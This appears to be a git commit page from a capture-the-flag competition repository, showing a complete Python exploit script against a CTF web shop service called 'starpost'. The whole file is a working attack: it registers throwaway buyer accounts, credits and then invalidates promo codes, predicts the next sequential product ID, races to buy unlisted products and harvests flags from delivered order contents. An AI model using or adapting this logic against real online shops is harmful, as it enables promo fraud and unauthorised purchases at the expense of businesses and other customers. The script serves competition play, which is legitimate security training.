feat: goctf final
This commit is contained in:
commit
f205b802d5
128 files changed
+37794
No files matched your search
@@ -0,0 +1,330 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import statistics
|
||||
import sys
|
||||
import time
|
||||
from http.cookies import SimpleCookie
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
|
||||
SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 1.35
|
||||
REQUEST_TIMEOUT = 0.45
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
PREBUY_INTERVAL = 0.15
|
||||
MAX_SEQUENCE_GAP = 4
|
||||
STATE_VERSION = 2
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Z0-9])[A-Z0-9]{31}=(?![A-Z0-9])")
|
||||
STATE_DIR = Path(os.environ.get("STARPOST_PREBUY_STATE_DIR", "/tmp/starpost-prebuy"))
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def build_target(raw_target: str) -> str:
|
||||
raw = raw_target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP(S) target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must contain only a host and optional port")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not contain query or fragment")
|
||||
port = parsed.port or SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request_json(
|
||||
target: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
*,
|
||||
method: str = "GET",
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, object, str | None]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-prebuy/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
request = Request(target + path, data=body, headers=headers, method=method)
|
||||
try:
|
||||
response = OPENER.open(request, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except HTTPError as exc:
|
||||
response = exc
|
||||
with response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
jar = SimpleCookie()
|
||||
for header in response.headers.get_all("Set-Cookie", []):
|
||||
jar.load(header)
|
||||
session_cookie = jar["session"].value if "session" in jar else None
|
||||
try:
|
||||
decoded = json.loads(raw)
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
raise ValueError("invalid JSON response") from None
|
||||
return response.status, decoded, session_cookie
|
||||
|
||||
|
||||
def state_paths(target: str) -> tuple[Path, Path]:
|
||||
key = hashlib.sha256(target.encode()).hexdigest()[:20]
|
||||
return STATE_DIR / f"{key}.json", STATE_DIR / f"{key}.lock"
|
||||
|
||||
|
||||
def load_state(path: Path) -> dict:
|
||||
try:
|
||||
state = json.loads(path.read_text())
|
||||
except (OSError, UnicodeDecodeError, json.JSONDecodeError):
|
||||
return {}
|
||||
if not isinstance(state, dict):
|
||||
return {}
|
||||
if state.get("version") != STATE_VERSION:
|
||||
return {}
|
||||
cookie, promo = state.get("cookie"), state.get("promo")
|
||||
next_id, pending_order = state.get("next_id"), state.get("pending_order")
|
||||
pending_cookie = state.get("pending_cookie")
|
||||
return {
|
||||
"version": STATE_VERSION,
|
||||
"cookie": cookie if isinstance(cookie, str) else None,
|
||||
"promo": promo if isinstance(promo, str) else None,
|
||||
"ready": state.get("ready") is True,
|
||||
"next_id": next_id if isinstance(next_id, int) and next_id > 0 else None,
|
||||
"pending_order": pending_order if isinstance(pending_order, int) and pending_order > 0 else None,
|
||||
"pending_cookie": pending_cookie if isinstance(pending_cookie, str) else None,
|
||||
}
|
||||
|
||||
|
||||
def save_state(path: Path, state: dict) -> None:
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
temporary = path.with_suffix(".tmp")
|
||||
descriptor = os.open(temporary, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
with os.fdopen(descriptor, "w") as output:
|
||||
json.dump(state, output, separators=(",", ":"))
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
|
||||
def prepare_buyer_step(target: str, state: dict, deadline: float) -> str:
|
||||
if not state.get("cookie"):
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={
|
||||
"username": f"prebuy-{marker}",
|
||||
"password": secrets.token_urlsafe(18),
|
||||
"role": "buyer",
|
||||
},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
state.update(cookie=cookie, promo=None, ready=False)
|
||||
return "registered"
|
||||
|
||||
if not state.get("promo"):
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=state["cookie"])
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
return "buyer-reset"
|
||||
state["promo"] = promo["code"]
|
||||
return "promo-loaded"
|
||||
|
||||
status, credited, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": state["promo"]},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
if status != 200 or not isinstance(credited, dict):
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
return f"credit-http-{status}"
|
||||
request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": state["promo"]},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
state["ready"] = True
|
||||
return "prepared"
|
||||
|
||||
|
||||
def sequence_next_id(target: str, deadline: float) -> int | None:
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
if status != 200 or not isinstance(products, list):
|
||||
raise ValueError(f"products returned HTTP {status}")
|
||||
product_ids = sorted(
|
||||
{
|
||||
item["id"]
|
||||
for item in products
|
||||
if isinstance(item, dict)
|
||||
and isinstance(item.get("id"), int)
|
||||
and not isinstance(item.get("id"), bool)
|
||||
and 0 < item["id"] < 9_223_372_036_854_775_807
|
||||
},
|
||||
reverse=True,
|
||||
)
|
||||
if len(product_ids) < 4:
|
||||
return None
|
||||
gaps = [left - right for left, right in zip(product_ids[:8], product_ids[1:8])]
|
||||
positive = [gap for gap in gaps if gap > 0]
|
||||
if len(positive) < 3 or statistics.median(positive) > MAX_SEQUENCE_GAP:
|
||||
return None
|
||||
return product_ids[0] + 1
|
||||
|
||||
|
||||
def collect_order(target: str, order_id: int, cookie: str, deadline: float) -> tuple[set[str], bool]:
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
return set(), False
|
||||
order = next(
|
||||
(
|
||||
item
|
||||
for item in orders
|
||||
if isinstance(item, dict)
|
||||
and item.get("id") == order_id
|
||||
and item.get("status") == "delivered"
|
||||
),
|
||||
None,
|
||||
)
|
||||
if order is None:
|
||||
return set(), False
|
||||
cargo = order.get("cargo")
|
||||
flags = set(FLAG_PATTERN.findall(cargo)) if isinstance(cargo, str) else set()
|
||||
return flags, True
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], str]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
state_path, lock_path = state_paths(target)
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
with lock_path.open("a+") as lock:
|
||||
os.chmod(lock_path, 0o600)
|
||||
try:
|
||||
fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||
except BlockingIOError:
|
||||
return [], "busy"
|
||||
state = load_state(state_path) or {"version": STATE_VERSION}
|
||||
if state.get("pending_order") and state.get("pending_cookie"):
|
||||
flags, delivered = collect_order(
|
||||
target,
|
||||
state["pending_order"],
|
||||
state["pending_cookie"],
|
||||
deadline,
|
||||
)
|
||||
if delivered:
|
||||
state.update(pending_order=None, pending_cookie=None)
|
||||
save_state(state_path, state)
|
||||
return sorted(flags), "collected"
|
||||
return [], "pending"
|
||||
|
||||
if not state.get("next_id"):
|
||||
state["next_id"] = sequence_next_id(target, deadline)
|
||||
if not state["next_id"]:
|
||||
return [], "non-sequential"
|
||||
save_state(state_path, state)
|
||||
return [], "indexed"
|
||||
if not state.get("ready"):
|
||||
result = prepare_buyer_step(target, state, deadline)
|
||||
save_state(state_path, state)
|
||||
return [], result
|
||||
|
||||
while deadline - time.monotonic() > 0.25:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{state['next_id']}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
if status != 404:
|
||||
break
|
||||
time.sleep(min(PREBUY_INTERVAL, max(0.0, deadline - time.monotonic() - 0.25)))
|
||||
else:
|
||||
return [], "waiting"
|
||||
if status != 201 or not isinstance(order, dict) or not isinstance(order.get("id"), int):
|
||||
state["next_id"] = None
|
||||
if status in {401, 403}:
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
save_state(state_path, state)
|
||||
return [], f"buy-http-{status}"
|
||||
|
||||
state["pending_order"] = order["id"]
|
||||
state["pending_cookie"] = state["cookie"]
|
||||
state["next_id"] += 1
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
save_state(state_path, state)
|
||||
return [], "ordered"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
def hard_timeout(_signum, _frame):
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
previous_handler = signal.signal(signal.SIGALRM, hard_timeout)
|
||||
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2)
|
||||
try:
|
||||
flags, result = run_exploit(sys.argv[1])
|
||||
except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
signal.signal(signal.SIGALRM, previous_handler)
|
||||
print(f"result={result} flags={len(flags)}", file=sys.stderr)
|
||||
if flags:
|
||||
print("\n".join(flags), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in new issue
Block a user